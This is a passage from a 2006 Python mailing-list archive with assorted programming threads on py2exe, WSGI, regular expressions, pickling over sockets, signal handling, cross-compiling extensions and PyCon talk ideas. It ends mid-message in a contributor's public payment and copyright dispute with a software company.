References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
	<1160619958.438049.53390@h48g2000cwc.googlegroups.com>
Message-ID: <1160633246.901667.274200@i42g2000cwa.googlegroups.com>

idknow at gmail.com wrote:

> no sort() is needed to calculate the median of a list.
> you just need one temp var.

Can you show some actual code?

(There is the median of 5 algorithm too).

Bye,
bearophile



From larry.bates at websafe.com  Wed Oct 11 15:20:32 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Wed, 11 Oct 2006 14:20:32 -0500
Subject: Experiences with Py2Exe
In-Reply-To: <1160593412.770417.21010@i42g2000cwa.googlegroups.com>
References: <1160574156.861514.327390@i42g2000cwa.googlegroups.com>
	<452cf765$1@news.vo.lu>
	<1160593412.770417.21010@i42g2000cwa.googlegroups.com>
Message-ID: <452D4400.7060600@websafe.com>

Isaac Rodriguez wrote:
>> I did a project with wxPython and py2exe. Just great :-) I also used
>> Inno Setup (http://www.jrsoftware.org/isinfo.php) to create an
>> installer. You should be able to learn/use both in one day.
>>
> 
> Do you have a specific reason for using Inno Setup and not a Windows
> Installer based setup? Will Inno Setup play especially well with py3exe
> or was it just the learning curve of using a Windows Installer setup?
> 
> I am asking this because I have a lot of experience using the Windows
> Installer service, and I also have all the productivity tools available
> to create an installer for my tools if I needed to, but now I am
> curious about this Inno Setup.
> 
> Thanks,
> 
> Isaac.
> 
Inno Setup (like Python) is open source so there is no cost.
Normally you have to purchase something to get the Windows Installer.
Since you have the source code (rarely needed because Inno is so
powerful and configurable), you aren't at the mercy of the Windows
Installer (unless they now give it away and I missed something).
I don't think Inno is especially suited for py2exe apps, it just
works very well, is free, and seems to do everything people want in
an installer.

-Larry Bates


From martin at v.loewis.de  Tue Oct  3 08:42:15 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 03 Oct 2006 14:42:15 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <7xk63h232z.fsf@ruckus.brouhaha.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com>
Message-ID: <45225aa7$0$8384$9b622d9e@news.freenet.de>

Paul Rubin schrieb:
> Sounds crazy, what's wrong with bugzilla?

Nobody offers to operate it: that's wrong. We put out a call
for trackers, and nobody (niemand, nirgendwo) was willing
to setup a bugzilla installation, work on an SF data import,
and offered to operate this installation for the period of
testing.

In addition, people expressed deep dislike of Bugzilla
in the early discussions. Some people just hate it, maybe
more so than the SF tracker.

Regards,
Martin


From fredrik at pythonware.com  Tue Oct 31 09:53:20 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 31 Oct 2006 15:53:20 +0100
Subject: Help me understand this iterator
In-Reply-To: <1162306091.528097.86850@e3g2000cwe.googlegroups.com>
References: <1162294568.168728.178270@m73g2000cwd.googlegroups.com>	<ei7e0o$7lt$02$2@news.t-online.com>
	<1162306091.528097.86850@e3g2000cwe.googlegroups.com>
Message-ID: <ei7o0t$f1q$1@sea.gmane.org>

LaundroMat wrote:

> That 'magic index' variable bugs me a little however. It gives me the
> same feeling as when I see hard-coded variables. 

what magic index?  the variable named "index" is an argument to the 
method it's used in.

</F>



From chris.cavalaria at free.fr  Tue Oct 10 09:23:17 2006
From: chris.cavalaria at free.fr (Christophe)
Date: Tue, 10 Oct 2006 15:23:17 +0200
Subject: Dive Into Java?
In-Reply-To: <4p1jm5Fgpgl7U1@uni-berlin.de>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <4ov4ekFg823lU1@uni-berlin.de>
	<4ovcbvFgc2nlU1@individual.net> <4p1jm5Fgpgl7U1@uni-berlin.de>
Message-ID: <452b9ec5$0$30991$426a74cc@news.free.fr>

Diez B. Roggisch a ?crit :
> The code _generated_ by the java compiler, and the C++ compiler, is not the
> issue here. If you as a programmer can write "a" + "b", its fine. Which is
> a thing to reach in C++, a bazillion of string-classes have been
> written....
> 
> 
> and in C++, you can do:
> 
> char *a = "1";
> char *b = "2";
> char *c = a + b;
> 
> But with a totally different, unexpected outcome.. I know where *I* start
> laughing here.

That code doesn't even compile. And you shouldn't be using the char* 
compatibility strings in C++ if possible.


From gdamjan at gmail.com  Tue Oct  3 22:15:39 2006
From: gdamjan at gmail.com (Damjan)
Date: Wed, 04 Oct 2006 04:15:39 +0200
Subject: CGI -> mod_python
References: <mailman.1209.1159924328.10491.python-list@python.org>
Message-ID: <452318a0$0$49209$14726298@news.sunsite.dk>

> I'm confused.
> 
> is WSGI only a specification, or are there implementations, and if so
> which ones

WSGI is only a specification.
There are a lot of implementations: servers, middleware and almost all new
Python web apps and frameworks are WSGI applications.

Here is a list of WSGI servers (server gateways)
http://wsgi.org/wsgi/Servers

Start from here to learn more:
http://wsgi.org/wsgi/Learn_WSGI

Then come back, we'll discuss

-- 
damjan


From jeff at taupro.com  Tue Oct 24 01:19:28 2006
From: jeff at taupro.com (Jeff Rush)
Date: Tue, 24 Oct 2006 00:19:28 -0500
Subject: Talks at PyCon that Teach How to Be Better Programmers
Message-ID: <453DA260.7030104@taupro.com>

I've been looking over the mix of talk proposals we have so far for PyCon 
2007.  We're got 17 so far, with a good number of case histories.  Now case 
histories are good, don't get me wrong, we want Python to be successful and it 
is interesting to hear how it is being used.  But according to the feedback 
forms from last year, we need more talks that actually teach you how to be 
better programmers, especially if we want to bring new talent into the community.

Where are the talks about how to best use select features of the language, 
that demonstrate how to use some of the more powerful design patterns in 
Python?  Python 2.4 and 2.5 have added significant new capabilities to the 
language and we need the advance scouts to help some of us just now 
discovering them.  Many of us do not adopt new features as soon as they appear.

Often at PyCon we have looked to people like Alex Martelli to get down and 
dirty with aspects of the language, but unfortunately he is unable to make it 
in 2007.  Who else is good at explaining how and when to apply language 
constructs?

Not sure where to start?  For brainstorming here are four talks I've not seen 
at recent PyCons and that I think would be well received.  Anything about 
design patterns would be good too.

----
How to Optimize Your Python Programs?

   * optimization - speed or memory?
   * common mistakes
       o use of repeated append on strings
       o not using Numeric when doing array operations
           + such as graphics, sound
       o close your handles, release your objects where possible
   * what slows Python down?
       o looping?
       o function calls?
   * methods to speed things up
       o pre-binding
       o push looping into C extensions
       o code in C extensions releases global lock and speeds up
         execution on multicores
   * shrinking your memory footprint

   http://us.pycon.org/TX2007/PgmOptimizing

----
Key Python Technologies You Should Know

   The idea of this talk is to highlight some of the cross-domain
   technologies that a programmer would find useful in his toolbelt
   as he moves among problems or job positions.

   * criteria for inclusion in talk:
       o cross-platform
       o cross-domain
       o of general use, not obscure or a niche
   * docutils, reST (docstrings, READMEs, page templates,
                     wiki markup, doctests)
   * interfaces/adapters
   * eggs
   * unit test frameworks
   * DB-API?

   http://us.pycon.org/TX2007/PyTechToKnown

----
Taking Your Programming Environment to a New Level

   What do skilled Python programmers keep around them that makes
   them better programmers?

   * pymacs, pyvim
   * pylint
   * ipython and other command shells
   * brief walk-thru of GUI IDEs
   * keeping docs at your fingertips
   * books to keep at your side

   (this talk could be run as a panel among experts)

   http://us.pycon.org/TX2007/PyPgmEnv

----
What the Heck Does "Pythonic Programming Style" Mean Anyway?

   The term is often tossed at someone on the list, but what
   are they talking about?  How can a newbie learn the style?

   * common idioms you see in source code
   * attributes versus getters/setters
   * package dir layouts
       o import all in __init__?
       o fully name-qualify all imports?

   http://us.pycon.org/TX2007/PyPgmStyle

I've included links to the wiki pages holding the outlines in hopes that 
people will suggest additional topics to cover.

To give a talk, before Oct 31 visit the conference page at:

   http://us.pycon.org/TX2007/CallForProposals

Jeff Rush
PyCon 2007 Co-Chair


From http  Sun Oct 22 02:26:23 2006
From: http (Paul Rubin)
Date: 21 Oct 2006 23:26:23 -0700
Subject: question: script to input data into a web page and then retrieve
	the result?
References: <mailman.921.1161497244.11739.python-list@python.org>
Message-ID: <7xiricj27k.fsf@ruckus.brouhaha.com>

"mxywp" <mxywp at 126.com> writes:
> I would really appreciate it if someone can tell me how to do it
> using python script. I am new to python web programming.

Look at the docs for the urllib module.  Also, arrange for some
alternative API on the web side, if possible.  What you're trying to
do is somewhat messy technically, and could be considered impolite (or
worse) if done without cooperation from the web site operator.


From Matthew.Warren at digica.com  Tue Oct 17 11:53:14 2006
From: Matthew.Warren at digica.com (Matthew Warren)
Date: Tue, 17 Oct 2006 16:53:14 +0100
Subject: Return returns nothing in recursive function
In-Reply-To: <D4F9316ACC9D20489CC81D19B8A87D5B03CDAB60@UKEX01.Digica.local>
Message-ID: <D4F9316ACC9D20489CC81D19B8A87D5B03CDAB7A@UKEX01.Digica.local>


>                 break
>             else:
>                 _DoThingsToTree(path[1:],value,item[path[0]],delete)
> 



The '_' in front of DoThingsToTree shouldn't be there. That's what I get
for trimming off the '_' elsewhere after I pasted the code in. 


Matt.


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From skip at pobox.com  Thu Oct 12 13:57:20 2006
From: skip at pobox.com (skip at pobox.com)
Date: Thu, 12 Oct 2006 12:57:20 -0500
Subject: Python 2.4 online certification - new items available for Beta
	testing
In-Reply-To: <1160673391.870483.295320@c28g2000cwb.googlegroups.com>
References: <1160673391.870483.295320@c28g2000cwb.googlegroups.com>
Message-ID: <17710.33280.444921.236631@montanaro.dyndns.org>


    Randy> There is a free Beta test of a Python 2.4 Certification test
    Randy> available at Brainbench.com. They are a provider of skills-based
    Randy> certification exams.  Go to the link below to find the test. It
    Randy> is free to take the test.

    Randy> http://www.brainbench.com/xml/bb/common/testcenter/betatests.xml

I've given up on Brainbench.  Ignoring the possibility that their
certification tests may not be all that useful, they never stopped spamming
me, so I refuse to help them with anything.

Skip



From Laundro at gmail.com  Wed Oct  4 06:13:38 2006
From: Laundro at gmail.com (LaundroMat)
Date: 4 Oct 2006 03:13:38 -0700
Subject: What value should be passed to make a function use the default
	argument value?
In-Reply-To: <slrnei7235.55m.apardon@rcpc42.vub.ac.be>
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<7xwt7gqwb3.fsf@ruckus.brouhaha.com>
	<slrnei7235.55m.apardon@rcpc42.vub.ac.be>
Message-ID: <1159956818.558101.153300@c28g2000cwb.googlegroups.com>

Antoon Pardon wrote:

> The problem is like the following.
>
> def f(var=1):
>   return var*2
>
> def g():
>   arg = None
>   try:
>     arg = Try_Processing() / 3 + 1
>   except Nothing_To_Process:
>     pass
>   if arg is None:
>     return f()
>   else:
>     return f(arg)
>
> Now in this case you could start by assigning arg the value 1 and
> eliminate the if test. However that only works if you know the
> default value for the argument. What he seems to be asking for
> is if there is an object, (let as call it Default), that would
> make code like:
>
>   def f(var=1):
>
> Equivallent to:
>
>   def f(var=Default)
>     if var is Default)
>       var = 1
>
> So that we could write the following without the need of the
> f's default value.
>
>   def g():
>     arg = Default
>   try:
>     arg = Try_Processing() / 3 + 1
>   except Nothing_To_Process:
>     pass
>   f(arg)
> 
> -- 
> Antoon Pardon

Exactly. Thanks for helping out.



From google at mrabarnett.plus.com  Fri Oct 13 08:24:49 2006
From: google at mrabarnett.plus.com (MRAB)
Date: 13 Oct 2006 05:24:49 -0700
Subject: Sending binary pickled data through TCP
In-Reply-To: <mailman.410.1160703734.11739.python-list@python.org>
References: <mailman.410.1160703734.11739.python-list@python.org>
Message-ID: <1160742289.150038.134900@k70g2000cwa.googlegroups.com>


David Hirschfield wrote:
> I have a pair of programs which trade python data back and forth by
> pickling up lists of objects on one side (using
> pickle.HIGHEST_PROTOCOL), and sending that data over a TCP socket
> connection to the receiver, who unpickles the data and uses it.
>
> So far this has been working fine, but I now need a way of separating
> multiple chunks of pickled binary data in the stream being sent back and
> forth.
>
> Questions:
>
> Is it safe to do what I'm doing? I didn't think there was anything
> fundamentally wrong with sending binary pickled data, especially in the
> closed, safe environment these programs operate under...but maybe I'm
> making a poor assumption?
>
> I was going to separate the chunks of pickled data with some well-formed
> string, but couldn't that string potentially randomly appear in the
> pickled data? Do I just pick an extremely
> unlikely-to-be-randomly-generated string as the separator? Is there some
> string that will definitely NEVER show up in pickled binary data?
>
> I thought about base64 encoding the data, and then decoding on the
> opposite side (like what xmlrpclib does), but that turns out to be a
> very expensive operation, which I want to avoid, speed is of the essence
> in this situation.
>
> Is there a reliable way to determine the byte count of some pickled
> binary data? Can I rely on len(<pickled data>) == bytes?
>
Instead of communicating directly with the TCP socket, you could talk
to it via an object which precedes each chunk with a byte count, and if
you're working with multiple streams of picked data, then each chunk
could also have an identifier which specified which stream it belonged
to.



From chris.cavalaria at free.fr  Tue Oct 24 12:31:55 2006
From: chris.cavalaria at free.fr (Christophe)
Date: Tue, 24 Oct 2006 18:31:55 +0200
Subject: python GUIs comparison (want)
In-Reply-To: <453E3F0B.6070606@kevin-walzer.com>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
	<453E3370.9060008@kevin-walzer.com>
	<453e3c5a$0$23254$426a74cc@news.free.fr>
	<453E3F0B.6070606@kevin-walzer.com>
Message-ID: <453e3ffa$0$26733$426a74cc@news.free.fr>

Kevin Walzer a ?crit :
> Christophe wrote:
> 
>> Since when is "based on C++ toolkit" a con?
>>
> 
> If you don't know C++ (as is the case with me), then it's difficult to
> do a C++-to-Python translation in looking at code examples.

As if a toolkit based on C would be much easier.

In fact, I would even say that C++ -> Python is much much easier than C 
-> Python for GUI toolkits.


From max at alcyone.com  Sun Oct  8 14:56:58 2006
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 08 Oct 2006 11:56:58 -0700
Subject: Painless way to do 3D visualization
In-Reply-To: <4os9vvFg4ld3U1@uni-berlin.de>
References: <4oqohkFfm09vU1@uni-berlin.de>
	<1160261890.778808.216180@h48g2000cwc.googlegroups.com>
	<4os9vvFg4ld3U1@uni-berlin.de>
Message-ID: <NuqdnXONDcyd17TYnZ2dnUVZ_qSdnZ2d@speakeasy.net>

Peter Beattie wrote:

> faulkner wrote:
>> http://www.vpython.org/
> 
> Oh, thanks, but let me quote myself:
> 
>>> So far, I've only tinkered a little with VPython, but the lack
>>> of any decent documentation has proved to be a major turn-off.
> 
> So, I'd really appreciate any hints as to where to look for anything a
> little more usable.

There's also ZOE:

	http://www.alcyone.com/software/zoe/

but if a lack of documentation turned you off to VPython then ZOE is 
probably not for you either.

-- 
Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
  San Jose, CA, USA && 37 20 N 121 53 W && AIM, Y!M erikmaxfrancis
   No need to tell her there's a world out there / She knows / She just
    doesn't seem worried at all -- Nik Kershaw


From steve at holdenweb.com  Fri Oct 27 03:51:14 2006
From: steve at holdenweb.com (Steve Holden)
Date: Fri, 27 Oct 2006 08:51:14 +0100
Subject: Matching Pure Numeric and '' with Python re
In-Reply-To: <3ACF03E372996C4EACD542EA8A05E66A0615E1@mailbe01.teak.local.net>
References: <3ACF03E372996C4EACD542EA8A05E66A0615E1@mailbe01.teak.local.net>
Message-ID: <ehsdng$399$1@sea.gmane.org>

Wijaya Edward wrote:
> Hi,
>  
> Given this list:
>  
> list = ['0123', '1A34' , '333-' , '' ]
>  
> I want to match only this element 
> '0123' (pure numeric) and '' (empty element).
>  
> Why this construct doesn't work?
>  
>          p = re.compile("''+|[0-9]+")
>            m = p.match(word)
>            if m:
>              print word,
>  
> Namely it doesn't print 0123 and ''.
> What's wrong with my regex?
>  
The first mistake is to assume that the single quotes are a part of the 
strings - they aren't. The second mistake was to over-complicate the 
pattern. All you actually need to match is zero or more digits - but you 
need a "$" at the ned of the pattern to make sure all the target string 
has been consumed in the match (otherwise *anything* will match, since 
all strings begin with zero or more digits). Here's my test:

  >>> import re
  >>> list = ['0123', '1A34' , '333-' , '' ]
  >>> p = re.compile("\d*$")
  >>> for word in list:
  ...   if p.match(word):
  ...     print "[%s]" % word
  ...
[0123]
[]
  >>>

There is, however, an old saying to the effect that if you try to solve 
a problem with regular expressions you then have *two* problems. If this 
isn't just a learning exercise then consider:

  >>> for word in list:
  ...   if word.isdigit() or not word:
  ...     print "[%s]" % word
  ...
[0123]
[]
  >>>

less-to-go-wrong-is-always-good-ly y'rs -  steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From eldiener_no_spam_here at earthlink.net  Mon Oct  9 16:53:17 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Mon, 09 Oct 2006 20:53:17 GMT
Subject: Python component model
In-Reply-To: <452AA71E.1010000@hotmail.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<mailman.130.1160418618.11739.python-list@python.org>
	<HwxWg.5035$Lv3.2259@newsread1.news.pas.earthlink.net>
	<452AA71E.1010000@hotmail.com>
Message-ID: <1FyWg.7185$Y24.219@newsread4.news.pas.earthlink.net>

Chaz Ginger wrote:
> Edward Diener No Spam wrote:
>> skip at pobox.com wrote:
>>>     Edward> The definition of a component model I use below is a class
>>> which
>>>     Edward> allows properties, methods, and events in a structured way
>>> which
>>>     Edward> can be recognized, usually through some form of introspection
>>>     Edward> outside of that class. This structured way allows visual
>>> tools
>>>     Edward> to host components, and allows programmers to build
>>> applications
>>>     Edward> and libraries visually in a RAD environment.
>>>
>>>     ...
>>>     Edward> I believe that Python should have a common components
>>> model for
>>>     Edward> all RAD development environments, as that would allow the
>>> Python
>>>     Edward> programmer to create a set of classes representing components
>>>     Edward> which would work in any environment.
>>>
>>> Having never used java or .NET I'm not sure what you're looking for. 
>>> Does
>>> Python's current introspection not work?  Is it someone too unstructured
>>> (whatever "structured" means)?  Can you give a simple example?
>> In the typical RAD development environment, a particular component model
>> allows one to drop components, which are classes corresponding to a
>> particular inner representation which tells the development environment
>> what are the "properties" and "events" of that component, and
>> subsequently set "properties" for that component and add handlers for
>> its "events" visually. snip...
>>
> 
> Why not propose something. That is the easiest way to get things moving.

How does one do that ? Propose something here on this NG or is there 
some other official way ?


From georgeryoung at gmail.com  Fri Oct 20 11:32:30 2006
From: georgeryoung at gmail.com (georgeryoung at gmail.com)
Date: 20 Oct 2006 08:32:30 -0700
Subject: User Access to the docstring of a property
In-Reply-To: <mailman.843.1161353895.11739.python-list@python.org>
References: <mailman.843.1161353895.11739.python-list@python.org>
Message-ID: <1161358350.212350.170580@m7g2000cwm.googlegroups.com>


Colin J. Williams wrote:
> Is there some way that the user can access the docstring specified for a
> property?

Do keep in mind that the docstring is not guaranteed to be available.
If
the application is run with optimization turned on, docstrings are
usually
optimized out.  Docstrings are handy for reading code and maybe for
debugging, but should not be relied upon for "users", as opposed to
developers.

-- George Young

> Please see the example below:
>
> # propDocTest
> class A(object):
>    def __init__(self, value):
>      self.value= value
>    def vGet(self):
>      return self.value
>    V= property (fget= vGet, doc="Get Value.")
>
> a= A(22)
> print a.vGet()
> print a.V
> print a.V.__doc__     # this gives the docstring for the value returned
> help(a.V)             # this gives the docstring for the class/type of
> the value returned
> 
> Colin W.



From grante at visi.com  Wed Oct 11 10:54:44 2006
From: grante at visi.com (Grant Edwards)
Date: Wed, 11 Oct 2006 14:54:44 -0000
Subject: OT: Sarcasm and irony
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au>
	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>
	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>
	<egfkeh$a45$1@sea.gmane.org>
	<3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com>
	<mailman.193.1160473683.11739.python-list@python.org>
	<12iosfh75stcf0e@corp.supernews.com>
	<1160544879.915425.250200@m7g2000cwm.googlegroups.com>
Message-ID: <12iq1dkhbudd9d7@corp.supernews.com>

On 2006-10-11, mensanator at aol.com <mensanator at aol.com> wrote:

>> Like Alanis Morisette said about the song "Isn't it Ironic":
>> What's ironic about the song is that it doesn't actually
>> contain any irony.
>
> Any? Don't people plan June weddings thinking the weather
> will be nice? And isn't one of the defintions of irony when
> things turn out the opposite of what you expect?

Not really, no.

-- 
Grant Edwards                   grante             Yow!  - if it GLISTENS,
                                  at               gobble it!!
                               visi.com            


From venkatbo at yahoo.com  Fri Oct 13 22:46:56 2006
From: venkatbo at yahoo.com (venkatbo at yahoo.com)
Date: 13 Oct 2006 19:46:56 -0700
Subject: How does sysconfig.get_config_vars() get config info...
Message-ID: <1160794016.153571.202160@k70g2000cwa.googlegroups.com>

Hi,

I'm trying to cross compile a C extension - on a i686 linux box,
targeting a ppc-linux box.

  get_config_vars(*args):
     global _config_vars
     if _config_vars is None:
        ...
     else:
        ...
     ...

What I don't understand is, on the first invocation of
get_config_vars(), _config_vars is not None - and how does
it get populated.  According to the comments, the makefile
of the build (i686) python is read for the config info.

However, since my os.name is Tho my system is "posix",
I would expect _posix_init() to get invoked, but it doesn't.
Dropped some prints in all the places where _config_vars
is set, but none get triggered ...

Since its picking up the build (i686) python config info
somewhere, I'm hoping to intervenw and in this cross
compile case, force it to use the makefile of the target
(ppc) python... if only I knew where its being read in...

I even renamed the build (i686) python makefile to see
if I can observe an alternate codepath, but _config_vars
still has the build (i686) python config info.

If only I could get it to look at the target python config
info, I can have it use the linker for the target and build
the target .so... By using the $CC env option, I was
able to have build (i686) python use my cross-gcc (ppc),
so I can generate the .o's for the pcc target... need to
just override the linker to use the cross-linker (ie
cross-gcc itself)...

Any help appreciated...
Thanks much,
/venkat



From ath-admin at vt.edu  Mon Oct  9 14:44:18 2006
From: ath-admin at vt.edu (rick)
Date: Mon, 09 Oct 2006 14:44:18 -0400
Subject: file system iteration
In-Reply-To: <Xns98579C3239930rtwfreenetREMOVEcouk@216.196.109.145>
References: <mailman.119.1160403292.11739.python-list@python.org>
	<Xns98579C3239930rtwfreenetREMOVEcouk@216.196.109.145>
Message-ID: <ege5iq$1q5$1@solaris.cc.vt.edu>

Thanks Tim and Rob... this works really well!


From http  Sun Oct 29 17:18:02 2006
From: http (Paul Rubin)
Date: 29 Oct 2006 14:18:02 -0800
Subject: Event driven server that wastes CPU when threaded doesn't
References: <1162120762.477120.275320@e3g2000cwe.googlegroups.com>
	<1162156412.199341.315540@i42g2000cwa.googlegroups.com>
Message-ID: <7xlkmyzrz9.fsf@ruckus.brouhaha.com>

"Nick Vatamaniuc" <vatamane at gmail.com> writes:
> The simplest solution is to change your system and put the DB on the
> same machine thus greatly reducing the time it takes for each DB query
> to complete (avoid the TCP stack completely).

Since when do any db's let you avoid the TCP stack, even on the same
machine?


From mitko at qlogic.com  Fri Oct 13 14:37:46 2006
From: mitko at qlogic.com (Mitko Haralanov)
Date: Fri, 13 Oct 2006 11:37:46 -0700
Subject: Signals and threads again
Message-ID: <20061013113746.269e3d8c@opal.pathscale.com>

Hi everyone,

First off, I know that this has been discussed before and I did a
search but could not find anything that helped my situation.

Here is the problem: I have a Python program that uses threads, forked
processes, and signals and I can't seem to understand where the signals
go.

When the program starts, it creates a thread, which spins in select
until and event is set. After the thread is spawned, the main thread
goes on to created several child processes (using os.fork and
os.execvp) and then it joins the spinning thread. The main thread sets
a signal handler for SIGINT (Ctrl-C) before it joins the spinning
thread.

The problem that I am experiencing is that when SIGINT is sent to the
program, it gets delivered to the child processes (the fork'ed ones)
but the main thread's signal handler is never invoked.

I know that Python masks signals in threads but they should be fine in
the main thread and that is where they should get delivered.

Any insight into this problem would be appreciated?

-- 
    -- Mitko


From ralmeida at gmail.com  Tue Oct  3 18:03:52 2006
From: ralmeida at gmail.com (Rob De Almeida)
Date: 3 Oct 2006 15:03:52 -0700
Subject: What value should be passed to make a function use the default
	argument value?
In-Reply-To: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
Message-ID: <1159913032.464542.17170@c28g2000cwb.googlegroups.com>

LaundroMat wrote:
> Suppose I have this function:
>
> def f(var=1):
> return var*2
>
> What value do I have to pass to f() if I want it to evaluate var to 1?
> I know that f() will return 2, but what if I absolutely want to pass a
> value to f()? "None" doesn't seem to work..

If you *absolutely* want to pass a value and you don't know the default
value (otherwise you could just pass it):

>>> import inspect
>>> v = inspect.getargspec(f)[3][0] # first default value
>>> f(v)
2



From g.brandl-nospam at gmx.net  Mon Oct  9 11:20:16 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Mon, 09 Oct 2006 17:20:16 +0200
Subject: file system iteration
In-Reply-To: <egdku5$3so$1@solaris.cc.vt.edu>
References: <egdg02$pcd$1@solaris.cc.vt.edu> <egdjp5$7sm$1@news.albasani.net>
	<egdku5$3so$1@solaris.cc.vt.edu>
Message-ID: <egdpbh$gef$1@news.albasani.net>

rick wrote:
> Georg Brandl wrote:
> 
>> Which application needs to walk over ALL files? Normally, you just have a
>> starting path and walk over everything under it.
> 
> Searching for a file by name. Scanning for viruses. Etc. There are lots 
> of legitimate reason to walk all paths from a central starting point, no???

Yes. Still, the user may not want to scan all files, or exclude non-locally
mounted filesystem etc.

So you'll always have to give the user control over where to start, and
therefore there's no problem in letting him choose which drives he wants
to search on.

Georg


From enleverlesX.XmcX at XmclaveauX.com  Mon Oct 23 11:37:04 2006
From: enleverlesX.XmcX at XmclaveauX.com (Méta-MCI)
Date: Mon, 23 Oct 2006 17:37:04 +0200
Subject: Python 2.5 ; Effbot console ; thank ; pb release.
Message-ID: <453ce1a9$0$25910$ba4acef3@news.orange.fr>

Hi!      (***sorry for my approximative english***)


A few months ago, I needed a console, under Windows.
After several research, I selected the console of EffBot.

Thank you very much, Fredrik Lundh, for this small tool,
quite practical and which repaired me well.


Then, Python 2.5 arrived.

Many modules/libraries was adapted to Python 2.5

But, it missed the console of EffBot.

Patiently, I visited the site of EffBot regularly.
Then, I started to corrode me the nails.
Then, I questioned myself:
 "with each new version of Python, certain libraries are never 
adapted/compiled."

For the professional developments, it is a major risk.
For (the evolution of) Python, it is an obstacle.

The rebuilding of libraries (not-standard) is not (under Windows) very easy, 
and not very standard.
To facilitate this possibility (of rebuilding) could be an objective, 
intended to improve perenniality of Python.

What do you think of that?



(
    While waiting, for the console, I ended up writing my (perso) small 
module.

    Therefore, THANK YOU, Fredrik, FOR NOR TO HAVE COMPILED a version for 
P-2.5,
    because:
       - that made me become aware of brittleness, in time, of the external 
bookshops;
       - that forced me to write a trick of which I will be used again 
myself.
)


@-salutations

Michel Claveau






From ilias at lazaridis.com  Thu Oct  5 17:02:59 2006
From: ilias at lazaridis.com (Ilias Lazaridis)
Date: 5 Oct 2006 14:02:59 -0700
Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy
	Singleton
Message-ID: <1160082179.215729.164060@c28g2000cwb.googlegroups.com>

[For some reason, the newsgroup server seems to not have distributed
the messages yet. Thus posting via groups-google now. first message was
from 2006-09-27, second message from 2006-09-28, both with a CC to Andy
Singleton]

Ilias Lazaridis wrote:
> Ilias Lazaridis wrote:
>> CC to      : Andy Singleton <andy at assembla.com>
>> followup to: c.l.ruby
>>
>> Despite several notifications, Mr. Andy Singleton of Assembla Inc.
>> continues to keep my contributions within the breakout project,
>> without payment of the related invoices, violating this way my copyright.
>>
>> I ask Mr. Singleton of Assembla Inc. once more to remove all material
>> (code, documentation, documentation changes, tickets) posted by my
>> person to the Breakout project under the user-name "lazaridis_com"
>> between 2006-07-15 00:00 and 2006-07-04 23:59 (GMT)
>
> correction: "and 2006-08-04 23:59"
>                  -----^^---
>
>> <http://tools.assembla.com/breakout/timeline?from=08%2F05%2F06&daysback=21&milestone=on&ticket=on&ticket_details=on&changeset=on&wiki=on&update=Update>
>
> Mr. Singleton,
>
> In reply to your private message (which states that you removed all of
> my original code, tickets and wiki pages):
>
> I can confirm that you've removed:
>
> * all tickets and ticket-comments
> * all original wiki pages and wiki-page-modifications
>
> -
>
> As to the code and other repository commits:
>
> You have removed a few (not all) of my commits from the repository...
>
> http://tools.assembla.com/breakout/changeset/1429
>
> ...but this code is still active on the production server.
>
> As you said within the private email "it's a small amount of code".
>
> Thus it should be no problem to _immediately_ revert _all_ my commits
> from the repository and to _remove_ the code from the production server
> (and of course from all other servers which run breakout):
>
> for your convenience, here is a list:
>
> <http://tools.assembla.com/breakout/timeline?from=08%2F05%2F06&daysback=22&changeset=on&update=Update>

Mr. Singleton,

within privat email (2006-09-28), you've replied that you've looked at
the list and removed the original code. Additionally, you stated that
it will be deployed after testing (to the production server).

It's a small amount of code (and configuration-file changes), so why do
you need time for this simple task?

After waiting one further week, I ask you once more to revert the
commits from the repository and from the production server(s) (where my
contributions are still active):

Possibly missed during last revert:

http://tools.assembla.com/breakout/changeset/1323

Not reverted:

http://tools.assembla.com/breakout/changeset/1316

http://tools.assembla.com/breakout/changeset/1326
http://tools.assembla.com/breakout/changeset/1327

http://tools.assembla.com/breakout/changeset/1328
http://tools.assembla.com/breakout/changeset/1329

you do _not_ need to revert those commits (as they've been overridden
by the update or contain irrelevant commits):

http://tools.assembla.com/breakout/changeset/1313
http://tools.assembla.com/breakout/changeset/1314
http://tools.assembla.com/breakout/changeset/1315
http://tools.assembla.com/breakout/changeset/1330

-

I wish you good luck in further adopting "Open Source Practices" whilst
bringing them to "commercial software development".

Hopefully your clients are aware of what can happen within public
projects: a public confrontation.

I am just one individual - imagine what happens if a whole community
detects an abuse...!

-

One final tip:

If you edit manually posts / your writings on a infrastructure under
your control (assembla.com), whilst adding messages which you've
